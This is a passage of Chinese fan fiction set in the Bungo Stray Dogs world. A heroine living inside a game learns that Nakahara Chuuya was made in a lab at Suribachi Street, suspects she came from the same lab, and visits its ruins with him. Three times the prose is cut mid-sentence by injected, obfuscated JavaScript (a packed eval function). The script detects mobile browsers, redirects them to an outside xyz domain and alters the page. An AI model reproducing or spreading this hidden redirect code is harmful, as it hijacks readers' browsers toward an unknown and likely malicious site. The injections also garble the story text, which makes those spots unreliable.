花理:“……”谢谢,怎么又是这句话。建议改进成头上冒感叹号一交互就全说了的类型好吗? “是吗?”她不为所动,“但我觉得,收集到足够的信息后重新开牌,总比被人当成道具,蒙在鼓里要强得多。” “……既然如此,我尊重您的决定。你会保证这是只属于我们两个……”坂口安吾看到了在一边坐着的江户川乱步,顿了顿,“三个的秘密吗?” “嗯。我会保证,至少太宰治不会从我这里知道有关你的「其他事」。” “那么我就直说了,只有关这一个问题——「镭钵街」和「实验」的问题。”他顿了顿,仿佛在咀嚼这个地名带来的沉重,“那是一次灾难。一次……由「神」的愤怒引发的灾难。” “相信你已经对「神」这个字眼记忆深刻了吧,绵津见小姐。” “带来那一次的灾难的正是象征着愤怒的「荒霸吐神」本身……而又或者重点是:” “「神」是可以被人类制造的。” 50.人造神 他推了推滑落的眼镜,镜片后的眼神在甜品店暖黄的灯光下显得格外阴沉。像在叙述一个飘渺遥远的噩梦。 “……那是什么意思。志怪小说吗?” “很可惜,但是现实。”坂口安吾顿了顿,像是有些苦笑般,“毕竟是异能力都存在的世界。” “希望不要再加这些奇怪的会让世界观变复杂的设定了。”绵津见花理如此吐槽,得到了坂口安吾诧异的目光和江户川乱步转过头来若有所思的凝视,她顿了顿,岔开话题: “所以。”花理清了清嗓子,咳了一声,把话题引回去,“请继续说吧、坂口前辈……「镭钵街」和「实验室」……然后、人造出了神吗?” “我本来以为你会有所了解……”坂口安吾有些意外般迟疑了片刻,花理想到了在见证者的片段中看到的「B3013」,顿了顿: “……不会是、”我? “毕竟你和那位大人明明很熟悉的样子。”坂口安吾没有被她打断,继续这样说道,神色自如,淡淡地看着花理,“那位中原中也阁下。” “……诶?” 等一下、前辈……? 花理的眼睛微微睁大。 虽然知道中原中也是神、系统也早就透露过相关讯息,她知道中原中也和「荒霸吐」之间千丝万缕的关系,但没想到的是…… 前辈、是被制造的吗? 那个时候,他似乎是这样说了「我睁开眼睛就在镭钵街」……因为叙述的语气太过平淡,她几乎没有细想地就这样将其抛之脑后。现在想来,前辈那时候明明就说了—— 「那就告诉你吧。你是艳羡的这份力量、可是来自实验室啊。」 所以、在镭钵街进行的、创造神的实验……产物就是「荒霸吐」中原中也吗? 她带着疑虑和震惊的目光向坂口安吾看过去,而对方只是轻轻地朝她点头,肯定了她的猜想。 “是的。”坂口安吾的声音带着一种近乎残酷的平静,“这一位「荒霸吐」,并非自古流传的绳文文化的神明,而是……” “军方最高机密实验项目。是人为制造可控的、具有毁灭性力量的「异能生命体」。” 他顿了顿,似乎在斟酌词句,每一个字都带着沉重的分量: “他们试图将神明般强大的力量……禁锢在人类的容器里。” 太过直白的描述,将糟糕的上层以及人类的自以为是和贪婪展现的淋漓尽致。花理有些不舒服的“唔”了一声,沉吟片刻。 “……所以、”她有些艰难地问道,“镭钵街就是实验室所在的地址?” 这个在镭钵街的实验室、就是她要找的关键线索吗? 坂口安吾顿了顿。他看了花理几秒,然后将视线移到了江户川乱步身上。明显没在认真听,已经有些昏昏欲睡的名侦探眨了眨眼,伸出一根手指晃了晃。 “也可以这么说啦……”江户川乱步无精打采地说,“花理真是对横滨一点都不了解呢……” “换个说法的话、应该是有了这场实验才有的镭钵街哦?” “……咦?” 坂口安吾和江户川乱步对视一眼。疲惫的社畜深深地叹了一口气,无法隐瞒般全盘托出。 “绵津见小姐。”坂口安吾的声音带着一丝敬畏,“镭钵街本身正是军方为了追求禁忌力量而酿成的……无法挽回的灾难。” 花理的心跳如擂鼓。镭钵街那个巨大的深坑……竟然是人为的?! “是实验失控造成的?” 坂口安吾沉默了片刻。他的目光再次落在花理身上,眼神复杂得难以言喻。 “实验失控后,基地化为废墟,所有研究人员和实验体……几乎全部湮灭。”他的声音低沉,“除了……一个「人格容器」。” “一个在爆炸中心被发现,奇迹般存活下来的……少年。” “我想你已经知道那名少年谁了。绵津见小姐。” 坂口安吾的声音落下,像一块沉重的石头投入甜品店暖融的空气中,砸得花理心头一沉。 柠檬水的酸味似乎还残留在舌尖,此刻却化作了某种更苦涩的东西。 “……嗯,我知道。”她低低地应声。 她当然知道坂口安吾指的是谁。 是年少的、或者说是刚诞生的前辈。 “所以,”花理的声音有些发干,她端起面前那杯已经微凉的柠檬水,指尖无意识地摩挲着冰冷的杯壁,试图汲取一点虚假的镇定,“镭钵街那个巨大的深坑……是实验失控造成的。” “当然。觊觎超过人类所能掌控的能力是要付出代价的。” 坂口安吾点了点头,目光扫过花理紧握杯子的手,又落到一旁正用叉子百无聊赖戳着蛋糕胚的江户川乱步身上。名侦探似乎对这个沉重的话题兴致缺缺,但又好像一切了然于胸。 安吾的声音低沉下去:“连同所有研究人员和其他未成功的实验体……巨大的爆炸和能量释放造就了如今的镭钵街。” 「检测到关键信息录入!」 「主线【你遗忘的记忆里】章节【遗忘之河,勒忒之水】探索度大幅提升!」 「关联线索解锁:【荒霸吐】实验事故详情」 「情报更新:港口城市横滨地貌·镭钵街成因」 「警告:信息冲击可能导致认知偏差加剧……检测到玩家精神波动异常……请保持冷静……」 「提示:健康游戏,合理安排时间,保持良好心态……」 “所以……”花理艰难地消化着这些信息,一个荒谬却又似乎能解释许多事情的念头冒了出来,“中原前辈的力量,他的异能,其实根本不是什么异能……是神明的力量?是那个叫「荒霸吐」的东西本身?” “可以这么理解。”坂口安吾的镜片闪过一道光,“那是远超常规「异能力」范畴的存在。他即是力量的容器,也是力量本身。” “……”神啊,前辈真是神,1.2亿円,原来是这样来的。 但是这和她的身世有什么关系……?为什么江户川乱步话锋一转,突然了解起前辈的事情来了?虽然她确实也有些好奇……但是,现在明明有更重要的事情吧? 她将奇怪的目光投向江户川乱步,他却没有看她。 一直安静戳蛋糕的江户川乱步,这时突然抬起头,翠绿的眼眸像猫一样精准地锁定了花理,带着一种洞悉一切的清澈光芒。 “呐,间谍先生,说漏了哦。”乱步的声音轻快,却像投下了一颗炸弹,“那位荒霸吐可不是唯一的作品呢。” 甜品店里的空气瞬间凝固了。 坂口安吾的身体几不可查地僵了一下,推眼镜的动作停在半空,眼神锐利地看向乱步,带着一丝警告和难以置信。 花理的心跳骤然停了一拍,一股寒意顺着脊椎窜上头顶。她看着乱步,那双眼睛仿佛能穿透她竭力维持的「玩家」外壳,直抵核心。 ……啊,在这里等着她呢。好一个声东击西,还先打了个铺垫。 “诶?乱步先生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133843|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在说什么?”花理不愿去想,强作镇定,扯出一个僵硬的笑容,“不是都炸了……然后其他人都死了吗?” 江户川乱步歪了歪头,蓬松的黑发随着他的动作晃了晃,脸上是纯然的无辜和一丝狡黠。 “嗯、那位干部先生是那场事故唯一的幸存品没错啦。”他慢悠悠地说,叉子尖终于戳起一小块沾满奶油的蛋糕胚,送进嘴里,含糊不清地补充道: “但是,想要掌控神明的狂妄家伙们……可不会只在一个盘子里下注哦。” 他舔了舔沾在唇角的奶油,目光再次投向花理,笑意盈盈,意有所指: “你觉得呢?花理。” “……”花理。 好吧,她现在非常、极其确定……这样看来她大概和中也前辈还是难兄难弟来的。 很难接受。是神明什么的已经很难接受了、是人造神的话更是难以接受——实验体的过去、应该不会也通过异能把记忆塞进她的脑子里吧? 但是比起这个、更主要的是…… 反胃。 刚吃了那么多的甜品,现在告诉她这种消息,简直惊悚到要原地跳起来绕着横滨跑十圈。脑子里已经在疯狂尖叫「你写的什么破剧情你设定的什么破卡了」,在角色面前还要露出礼貌的微笑。 更要命的是系统在江户川乱步抛出的提问之后,系统仍然在孜孜不倦地说些什么,最后还变成了乱码。 「天赋【见证者】被动触发!微弱神力共鸣中……」 「警告!警告!高维信息流冲击!精神阈值临界点!」 「错误!……无法解析关联性……」 滴滴滴想起的错误代码声、毫无规律的重复卡顿,吵得她太阳穴突突地跳,绵津见花理摇摇晃晃地站起身,扶住额头,身体晃了一下,手肘撞在桌面上,发出“砰”的一声闷响,差点打翻面前的柠檬水。冷汗瞬间浸湿了她鬓角的碎发。 “唔……”花理闷哼一声,脸色瞬间惨白如纸。 “绵津见小姐?!”坂口安吾立刻站起身,眉头紧锁,伸手似乎想扶她,又因身份和场合而顿住,眼神中充满了惊疑。 花理用力闭了闭眼,指甲深深掐进掌心,试图用痛感驱散那几乎要将她意识撕裂的眩晕和尖锐警报声。她深吸了好几口气,才勉强从牙缝里挤出声音: “抱、抱歉……突然有点……低血糖……”这个借口苍白得连她自己都不信。 “需要帮忙吗?”坂口安吾沉声问,语气依旧公式化,但紧抿的嘴唇泄露了他的不平静。他显然将花理剧烈的反应与乱步那句石破天惊的话联系了起来。 “不……不用……”花理费力地摆摆手,撑着桌子,努力直起身,避开两人的目光,“我……我去下洗手间。” 她几乎是踉跄着逃离了那张桌子,花理冲进洗手间,拧开水龙头,冰冷的水流冲刷在脸上,让她混乱的思绪稍微清晰了一瞬。 镜子里映出一张苍白失措的脸,水珠顺着额发滴落。刚才的对话,乱步意有所指的话语,安吾的档案,还有脑中那个混乱的系统……像无数碎片在她脑中疯狂旋转。 耳边系统的杂音渐渐减弱,但那份冰冷的提示却清晰起来: 「强制镇定措施生效……精神阈值恢复至安全水平……」 「警告:请勿在非安全环境下深度探索核心关联信息!」 「新任务发布:创世纪3:19」 「任务目标:探察角色【中原中也】及【绵津见花理】诞生的实验室。」 51.前往实验室 “……” 花理咬牙切齿。 该死的游戏。她面无表情地点开投诉栏填入「系统错乱影响体验」「报错反应」「剧情设定分级错误,要求改为16+」,恶狠狠地写下自己如今被搞的头昏脑胀的反应要求赔偿。 发送完邮件,紧急报错的系统也归于沉寂。 她捧起冷水又洗了几把脸,直到指尖都冻得发麻,才深吸一口气,用纸巾胡乱擦干脸上的水迹。镜中的少女眼神依旧残留着惊悸,但至少表面恢复了些许平静。 中原前辈是实验室的产物,被制造出来容纳神明的容器。 而现在几乎可以确认,乱步先生所说的「不是唯一的作品」可以指向,她也是实验室的产物。 那么,现在…… 绵津见花理掏出手机,颤颤巍巍地给那个名字发去信息。对方很快显示已读,她实在没什么信心会得到帮助,但还是咬着牙请求了。 理好表情和有些凌乱的头发,花理深吸一口气,推开了洗手间的门。 坂口安吾和江户川乱步还坐在原位。安吾面前的咖啡几乎没动,他的坐姿端正,目光锐利地扫视过来,带着毫不掩饰的探究。 江户川乱步则托着腮,用那根银色的叉子有一下没一下地搅动着盘子里的奶油残渣,翠绿的眼睛在花理出来的瞬间就精准地捕捉到了她。两人对视片刻,名侦探大大咧咧地说: “名侦探的想法还是没变哦。”他说,“因为花理看起来是想要知道真相的,所以名侦探没有瞒着你。” “但如果你真的感到难过,那就不值得了。因为花理只是花理而已。名侦探也说啦。” “……嗯,谢谢。”花理点了点头,坦然接受了江户川乱步的好意。坂口安吾也看向她,公式化的关心道: “好一些了吗?绵津见小姐。” “好一些了。也谢谢您的情报,坂口前辈。”花理努力平稳情绪,去前台买完单,朝两人微微颔首: “因为我还有一些要查的东西,所以……”先走了。 “诶?这就走了吗?”江户川乱步眨眨眼,声音带着点孩子气的失望,“花理,你不需要名侦探帮助了吗?” “暂时……”花理顿了顿,有些歉意地朝他笑笑,找补道,“今天已经够晚了,您还不回去吗……” 等一下、江户川乱步一个人回的去吗。 她脚步突然停下,站在门口摇摆不定地看着江户川乱步。可是她已经约了人,现在送他回去似乎有些来不及…… “坂口前辈。”于是花理果断地开口了,“虽然这是个不情之请但是因为是我一生的请求所以拜托了——” 一分钟后,一脸憔悴还有黑眼圈的社畜下班时间二次延迟。带着幽幽的死气送江户川乱步走向去侦探社的路。名侦探还在欢快地朝她挥手告别,坂口安吾的眼神里却只有浓浓的幽怨。 “……”花理摸了摸鼻子,移开了视线。 她也转身走向甜品店的下一个路口,推开门的那一瞬,横滨夜晚微凉的空气混合着街道的清冷扑面而来,不再需要维持社交状态让她紧绷的神经稍稍松弛了一瞬。 她站在这无人的街头,思绪万千。 前辈……好慢啊。 就在她茫然四顾,犹豫着是否该再看看消息、或许人家并没有赴约的打算时,一阵低沉而熟悉的引擎轰鸣声由远及近,带着一种不容忽视的存在感,精准地停在了她面前的路边。 黑色的重型机车,流畅的线条在月光下泛着冷硬的光泽。 “绵津见!你那条信息是什么——” 车上的人单腿支地,稳稳地停住。橘色的发丝被头盔压着,只有几缕不听话的发丝翘起。他抬手摘下头盔,甩了甩头发,露出那张格外精致的脸,钴蓝色的眼眸如同最纯净的冰海宝石,此刻正带着一丝不易察觉的疑惑和审视,直直地看向站在街边、脸色依旧有些苍白的她。 看到她并不太好的状态,本身带着怒音的话顿了顿,消散在夜色中。 再次看到这张脸,因为刚刚得知了那样的信息,似乎心态也有所不同了。 “……前辈。”花理眨了眨眼,垂下眸子去看地板,“你来了。” 是中原中也。 “喂,”他的声音不高,却清晰地到达她的耳边,像是有些烦躁,放弃了本来要问的话,转为带着惯有的不耐烦的不熟练地关心: “你站在这里发什么呆?脸色这么难看。” “……” 每次见前辈都是狼狈的时候,但因为对方是个池面所以习惯不了。还是想要在对方心里留下好印象的啊…… 花理眼眶有点酸酸的,不知道从何说起。 对她而言,这个人生是可以关闭的、并不真切的。只要忍耐到了极点,或者不想再体验下去,退出游戏走出休眠舱就万事大吉,一切的苦难和麻烦就会从此消失。 但是、这个人生对他来说并不是这样。 是前辈的话,就得努力的、无法逃避地接受自己身为实验体的命运吧? 即使如此,你也能像这样意气风发地坦然接受吗。前辈。 微妙的、因为身份卡和面前之人身世过高的相同之处而升起的共情。 中原中也看着她低垂的脑袋和微微泛红的眼眶,钴蓝色的眼眸里那点不耐烦被一丝不易察觉的困惑取代。他瞳孔发达了片刻,眉头蹙得更紧了些,像是很不理解。翻身下车,几步走到花理面前。 “喂,”他声音压低了些,带着点不自在的别扭,“到底怎么了?你……”他上下打量着她,似乎在确认她有没有受伤,“还是……任务出问题了?” 花理抬起头,对上那双如同海面般剔透的眼睛。月光落在他橘色的发梢,镀上一层清冷的光晕。 果然,带着那种先入感再看的话,就总觉得和前辈有疏离感了。但是,面前的人却又因为此刻眉宇间那点真实的困惑而显得如此真实。 “……我发给前辈的信息、您看了吗?” 眼眶有些红的少女,抿了抿嘴,说的第一句话却是这个问题,中原中也顿了顿,有些烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136900|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躁地“哈?”了一声:“你以为我为什么出现在这里?” “什么叫做「如果我和您是兄妹的话那是姐弟吗?」」绵津见,你喝酒喝得不清醒了?” “并没有。无论怎么想那都是您比较可能做出的事情。” “……哈?!” 花理盯着中原中也的脸看了几秒,移开了视线。 “……总之只是一个真心实意的疑惑,关于我和前辈你谁更年长一些。” “是我。”青年这样笃定的、毫无悬念地宣告,然后像是被她莫名其妙的话语气笑了一般:“你晚上叫我出来,就为了这件事?” “当然不是。您倒是好好思考一下我话里的深意吧?” “……”中原中也看着她,一脸的不悦,如同便秘的表情。他有些头痛地按了按脖子,面无表情:“所以?” “绵津见、你因为什么在难过?” “我没有在难过。”花理对此观点表示反对。 “说谎。你……”中原中也下意识地反驳,但却无法找出形容词说出面前的少女现在的状态,只能盯着她渐渐平息下情绪的、带着些不满的脸和眼角干涸的浅浅水痕迟疑。 ……到底是怎么了?应该不是因为他吧? Mafia令人闻风丧胆的重力使陷入沉思。 “……我在愤怒。”然后他就听见少女如此咬牙切齿地说,握着拳总觉得下一秒就要打到谁脸上,悲愤地大喊着“可恶!”但因为有他在,没有把可恶后面本来接的名字说出口。 “……”中原中也,好吧。 “所以,”他有些疲惫地揉了揉眉心,叹了口气,有些无语地看着绵津见花理,“你那句话是什么意思?叫我来应该不是为了这个吧?” “当然不是……我有重要的事。” 「新任务发布:创世纪3:19」 「任务目标:探察角色【中原中也】及【绵津见花理】诞生的实验室。」 系统是这么说的。就算得知了实验室在镭钵街,自己找过去,找不找得到路另说,万一遇到些其他组织也好、留守的军方也好,她这条命就要交代了。 但是、横滨真真切切的土著,说过自己在镭钵街生活过的、武力值拉满的中原中也……只要有他在,以上问题全都迎刃而解。 本来就对这个前辈多有信赖,现在更是得知「绵津见花理」和「中原中也」也算一种另类的同类……所以、稍微拜托一下他也是可以的吧? “……前辈。” 花理张了张嘴,声音有点哑。那些关于实验室、关于「容器」、关于「人造神」的信息在她喉咙里翻滚,她想问,想确认,想倾诉那份突如其来的、因共情而生的沉重。 她测过头去看中原中也,对方挑了挑眉,“嗯”了一身算是对她呼唤名字的回答,想说的很多,但话到嘴边,却变成了一个更直接、也更符合她此刻「玩家」身份的问题。带着点冷酷的,花理直截了当地问: “那个实验室……就是制造出前辈的地方。还在吗?” 52.背叛的嫌疑 话音落下的瞬间,空气仿佛凝固了。 中原中也的身体几不可查地僵了一下。那双冰蓝色的眼眸瞬间锐利如刀,带着审视和一丝被触及逆鳞的警惕,牢牢锁定了花理。 周围的温度似乎下降了几度,无形的压力如同实质般弥漫开来。 “你从哪里听说的?”他的声音沉了下去,不再是刚才那种带着点别扭的关心,而是属于港口Mafia重力使的、充满压迫感的质问。 空气仿佛都凝滞了几分。花理的心跳漏了一拍。她知道自己踩雷了。但箭在弦上,不得不发。她深吸一口气,努力让自己的声音听起来平静: “我好歹是情报部的……总之,”她避重就轻,没提具体内容,“听说了镭钵街的起源……还有……「荒霸吐」实验。”她小心翼翼地观察着中也的表情,“……那里现在只剩废墟了?” 中原中也盯着她看了几秒,那目光锐利得仿佛要将她整个人剖开。花理强作镇定,手指在身侧悄悄攥紧了衣角。她能感觉到系统面板在视野边缘微微闪烁,似乎也在评估着此刻的危险系数。 「检测到角色【中原中也】情绪波动:警惕值上升,探究值上升。」 「关联词条:【实验室】触发深度检索……」 「警告:当前环境风险等级提升至B(中)。建议玩家谨慎措辞。」 中原中也盯着她看了几秒,眼神锐利得仿佛要将她整个人剖开,审视她话语中的每一个字,每一个细微的表情。 “啊。废墟。”他淡淡地说,仿佛在谈论一个与己无关的地方,“早就炸得什么都不剩了。一堆破铜烂铁和烂石头而已。” “那……”花理犹豫了一下,还是问了出来,“前辈去过那里吗?我是说……之后?” 中原中也沉默了片刻。晚风吹起他额前的碎发,月光下,他的侧脸线条显得有些冷硬。 “去过。”他简短地回答,没有看她,“没什么好看的。一个坑。” 他的语气平淡得像是在描述路边一个不起眼的水洼。但花理却从中听出了一丝刻意压抑的厌烦。 「天赋【见证者】被动触发!」 「检测到环境残留信息:强烈能量冲击痕迹、金属锈蚀、消毒水残留……」 「关联记忆碎片:【实验体B3013】……警告!信息过载风险!」 系统的提示音伴随着一阵轻微的眩晕感袭来,花理晃了晃脑袋。她看着中原中也,看着他此刻刻意表现出来的淡漠,那份刚刚升起的共情再次汹涌起来。 “前辈……”花理的声音很轻,带着一丝自己都没察觉到的理解,“那个地方对你来说,是不是很讨厌?” 中原中也挑了挑眉,目光再次聚焦在她脸上,带着一丝被打断思绪的愕然和不解。他似乎没料到她会问出这样的问题。 “讨厌?”他嗤笑一声,像是听到了什么荒谬的笑话,但眼底却没有丝毫笑意,“一个破地方而已,有什么讨厌不讨厌的。” 他顿了顿,语气带着点不耐烦:“你到底想问什么?绵津见。” 花理咬了咬下唇。她知道再追问下去可能会激怒他,但这是一件一旦开头就不能停止的事。 “我……”她深吸一口气,抬起头,直视着那双冰蓝色的眼睛,鼓起勇气说道,“我想去看看。那个……实验室的废墟。” 中原中也的眉头瞬间拧成了一个川字,“为什么?”他的声音冷了下来。 她一时语塞,不知道该如何解释复杂的原因。 现在可以说出来吗?关于自己身份的猜测。中原中也看起来并不知情、无论是同出于一个实验室还是森鸥外当时的布置。但面前的青年毕竟也是港口Mafia的高层,如果被知道的话…… 结果是会变好,还是变坏? “在想什么?”中原中也追问,目光如炬。 花理张了张嘴,最后泄气般地垂下肩膀,声音低了下去:“……您还记得我说自己没地方可去吧?这是有原因的、” “总之,大概是觉得也许能在那里找到点线索?关于身份的一些事情。” 她含糊其辞,不敢提自己可能的「同类」身份。 中原中也盯着她看了许久,久到花理以为他会直接拒绝或者发火。夜风吹过,带着凉意,卷起路边的落叶,发出沙沙的轻响。 最终,他移开视线,发出一声意味不明的轻哼。 “……麻烦。”他低声咕哝了一句,像是在抱怨,又像是在妥协。 他转身走向机车,腿一跨坐了上去,重新启动引擎,视线落在还站在原地、有些不知所措的花理身上。 “上来。”他的声音有些闷,却带着不容置疑的命令感,“不是要去看那个破坑吗?动作快点。” 花理愣了一下,随即眼睛微微睁大,一丝难以置信的惊喜和如释重负涌上心头。她连忙小跑过去,动作甚至带着点笨拙的急切。 “谢、谢谢前辈!”她一边道谢,一边小心翼翼地跨上后座。机车后座的空间对她来说依旧有些局促,她下意识地伸手,轻轻抓住了中也腰侧的衣服,指尖能感受到布料下紧实肌肉的轮廓和温热的体温。 中原中也的身体似乎又僵了一下,但没有说什么。引擎发出一声低沉的咆哮,机车如同离弦之箭般冲了出去。 夜风瞬间变得猛烈,呼啸着刮过花理的脸颊,吹散了之前的沉重和不安。她看着前方中原中也挺直的背影,橘色的发丝在风中飞舞,像一簇跳动的火焰。 机车没有驶向繁华的街道,而是拐进了一条相对僻静的小路,速度不减,朝着城市边缘那片巨大阴影的方向疾驰而去。 镭钵街。 那个由一场禁忌实验造就的巨大伤疤,那个埋葬了无数生命和野心、同时也诞生了眼前这位重力使……还有她的废墟之地。 随着机车深入镭钵街的范围,道路变得越发崎岖不平。空气中弥漫着一种混合着铁锈、潮湿霉味和淡淡垃圾腐败气息的复杂味道。两旁是歪歪扭扭、用各种废弃材料搭建起来的简陋棚屋,窗户大多漆黑一片, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142016|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有零星几点昏黄的灯光透出,映照着狭窄泥泞的小路。 机车最终在一片相对开阔、但异常荒凉的区域停了下来。地面覆盖着厚厚的尘土和碎石,四周散落着巨大的、扭曲变形的金属构件,。更远处,则是堆积如山的建筑垃圾和生活废弃物,形成一片片模糊不清的阴影。 “到了。”中原中也熄了火,摘下头盔,声音平淡无波。他率先下车,靴子踩在碎石上发出“嘎吱”的声响。 花理跟着下车,双脚落地时激起一小片灰尘。她环顾四周,荒凉和死寂感扑面而来。这里就是……那个实验室的遗址? 可是…… “什么都没有……?” 中原中也走到一处巨大的、半埋在地下的扭曲金属板前,用脚尖随意地踢了踢上面厚厚的铁锈,发出沉闷的“铛铛”声。随后用手翻开那枚铁板,露出一条幽深的,通往地下的楼梯。 他转过头看了一样绵津见花理,嗤笑一声: “看来他们也没和你说明白,”中原中也慢条斯理地说,拍了拍手上的灰,双手插兜率先向下走去,“这是个地下实验室。” “……”她只是没想到是物理层面的地下。 实验室位于擂钵街地下深处,看起来因为爆炸而严重损毁。主体结构被掩埋在废墟下,墙体剥落、设备锈蚀,看着像培养舱的圆柱形容器碎裂,残留的培养液干涸凝固。 电力系统完全瘫痪,仅靠应急灯维持微弱照明,并没有想象中的守卫,看来防御机制完全失效了。 中原中也在前面走的稳当,但大概因为心情不好每一步都很重,激起地上的尘土。皮鞋敲击在地上发出闷响,绵津见花理打开手电筒,有些迟疑地跟在后面。 将手电筒的灯光打向深处,看到了残破的研究设备。电击棒、储水槽……不知道踩到什么,脚下想起咔擦一声,花理吓了一跳,低头看去,是一卷录像带的残带。 纸质的日记、散落的残带遍布地上。似乎还有…… 失败品的白骨。 “……”几年前,实验失败爆炸,除了灵性的人逃走,其余的就都长眠此地。 而前方的、属于中原中也的脚步声不知道何时听了。花理顿了顿,将手电筒向前照去,正好对上中原中也,他已经转过身来,面对着她,双手抱臂。 在黑暗中,璀璨的蓝眸子闪着非人般的光亮。对方被手电筒光照到也只是轻微地眯了眯眼。有些严肃的、没什么情绪的冰冷的话语从青年口中吐出。 “绵津见。”中原中也说,他侧了侧脖子,不再是友方的、善意的感觉,而是作为敌人时,震慑人的威压。 “我只给你一次机会。”带着压迫感的话语,似乎空气变得沉重。即将被扼住喉咙般蔓延上来的窒息和不安感,花理下意识往后退了一步。 “……前辈?” 黑暗中,中原中也如是说: “要么坦白你所知的一切和目的,要么……” “和你背叛组织得来的消息一起留在这里。” 53.第 53 章 花理:“……”果然还是被怀疑了!无论怎么说都还是Mafia的干部啊…… “背、背叛组织?” “不承认吗?”中原中也眼神沉沉,如同锁定猎物的猛兽,冰冷的审视带着毫不掩饰的威胁。 他嗤笑一声,“你在谁那里知道的有关这个实验室的消息?无论是在哪个组织……这都是机密消息。” “……”她绞尽脑汁地思考措辞。 “你该不会觉得和侦探社的人待在一起一整天,我会没收到消息吧?”中原中也步步紧逼,盯着她略显空白的表情,有些不悦道,“还是说、你不知道自己在做什么?” “……”等一下,原来监控下属也是所有Mafia高层的必修课吗?她还以为太宰治坚实她的一举一动纯属个人兴趣,怎么中原中也也是这样啊? 「玩家小姐,」系统幽幽道,「我已经提醒您了——」 「当前环境风险:B」 「等同于您上次遇见mimic的时候」 “……”这种事她完全没想到! 花理的大脑飞速运转,冷汗浸湿了后背。她绞尽脑汁地思考措辞,试图找到一个合理的解释。 坂口安吾——异能特务科的情报官,幸好明面上还算是她的同事。所以她只要解释江户川乱步、武装侦探社的名侦探和她的联系,洗清自己“勾结外人”的嫌疑。 中原中也步步紧逼,皮鞋踩在碎石上的声音在寂静中如同鼓点,敲在花理紧绷的神经上。她惊恐地和前辈对视一眼,看清对方紧蹙的眉头。 “……”花理内心泪流满面。这种事她完全没想到啊!现在怎么办?不解释就是死期,但她现在根本编不出合理的谎言…… 中原中也停在她面前几步远的地方,双手抱臂,居高临下地看着她。阴影覆盖了他大半张脸,只有那双冰蓝色的眼睛亮着,散发着不容置疑的压迫感。 “我……”花理张了张嘴,声音干涩得厉害。她看着中原中也,知道任何谎言在此刻都苍白无力。恐惧和破罐子破摔的冲动在她心中交织。 最终,她深吸一口气,肩膀垮塌下来,声音低得几乎听不见: “……我没有背叛组织。”她先定下基调,然后抬起头,直视着那双冰蓝色的眼睛,带着一种豁出去的坦诚,“我只是……想知道一些事情。” “——关于我自己。” 中原中也的眉头几不可查地动了一下,但表情依旧冷峻,示意她继续说。 花理舔了舔干涩的嘴唇,艰难地开口:“所以我委托了我侦探,江户川乱步……他告诉我了镭钵街的起源,还有几年前的实验。” 她顿了顿,观察着中也的反应,对方没有任何表示,只是静静听着。 “他们说,那个实验制造出了堪比神明的异能者。” 她小心翼翼地说着,但望向中原中也的眼神,意思已经很明显。 “然后……”花理的声音带上了一丝困惑和无奈,“乱步先生说……” “「荒霸吐」并不是唯一的作品。” 这句话如同投入平静湖面的石子,在中原中也眼中激起了一丝微澜。他的瞳孔微微收缩,抱着手臂的手指似乎收紧了些。 两人面面相觑片刻,花理鼓起勇气,将那个盘旋在心头、让她叹气的猜测说了出来:“所以大概,我可能和前辈你一样。” 她的声音很轻,却像重锤敲在寂静的空气里:“我也是……那个实验室的产物?呃、另一个「作品」什么的?” 她说完,心脏狂跳,几乎要跳出嗓子眼。她等待着中原中也的反应——是震惊?是质疑?还是会相信她……? 中原中也只是沉默了。 时间仿佛被拉长了。昏暗的光线下,看不清他的表情。中原中也的眼神依旧牢牢锁定着她,花理苦笑了一下。 就在花理以为自己命不久矣的时候,中原中也却缓缓地轻笑了一下。 “呵。”他发出一声短促的轻笑,打破了令人窒息的沉默。那笑声里没有嘲讽,也没有愤怒,反而带着一种……“果然如此”的意味。 “你发现的还挺快的。” “……?” 诶……? 花理微微睁大眼,大受震撼。 “唔,呃……抱歉,”她迟疑地看向中原中也,“这是什么意思……?” 中原中也移开视线,不再用那种极具压迫感的目光锁死她,反而侧过身,望向不远处的实验场地。他抬手压了压帽檐,橘色的发丝在夜风中微动。 “算不上「早就」,”他的声音恢复了平时的腔调,但比平日少了几分暴躁,多了些罕见的、近乎沉静的感觉,“第一次在船上,看到你对那个「绵津见命」神像反应那么大,就有点在意了。” 他顿了顿:“你的姓氏,还有那种反应……太巧合了。” 花理想起那天的窘迫,脸上有点发烫。原来那个时候就被注意到了?她还以为掩饰过去了! “后来……我查过你的资料。”中也的声音低沉下去,他转过头,瞥了花理一眼,“你的档案里一片空白。” 在港口Mafia,他的权限已经算是最高的那一批,但关于绵津见花理的记叙仍然寥寥无几,少的可怜。 